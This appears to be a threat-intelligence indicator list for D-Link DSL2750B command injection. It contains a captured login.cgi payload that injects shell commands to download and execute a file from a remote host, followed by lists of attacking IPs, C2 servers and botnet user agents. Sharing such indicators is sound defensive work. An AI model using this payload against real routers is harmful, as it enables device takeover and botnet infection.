D-Link DSL2750B - OS Comman Injection

Payload Sample :
/login.cgi?cli=aa aa';wget hxxp://80.211.67.245/k -O /tmp/ks;chmod 777 /tmp/ks;sh /tmp/ks'$

Attacking IPS:
41.42.163[.]86
197.55.212[.]166
212.120.218[.]157
31.163.130[.]34
1.52.167[.]236
1.53.101[.]128
1.53.22[.]65
1.54.160[.]168
1.54.57[.]231
113.22.158[.]224
118.71.16[.]111
118.71.248[.]87
151.75.58[.]48
156.196.165[.]46
156.212.125[.]2
156.218.42[.]173
156.221.209[.]135
185.44.230[.]178
187.68.85[.]42
188.18.199[.]198
41.42.77[.]28
1.49.139[.]224
156.196.143[.]188
156.201.142[.]44
177.19.78[.]240
189.102.192[.]78
197.34.236[.]132
197.45.9[.]106
197.46.248[.]63
41.37.184[.]65

C2:
178.128.11[.]199
80.211.67[.]245
80.211.112[.]150
212.237.32[.]62
209.141.33[.]86
217.61.6[.]127
148.72.176[.]78
176.32.33[.]171
77.87.77[.]250

User_agents:
LMAO/2.0
Gemini/2.0
Hakai/2.0
Hello, World
Shinka/1.0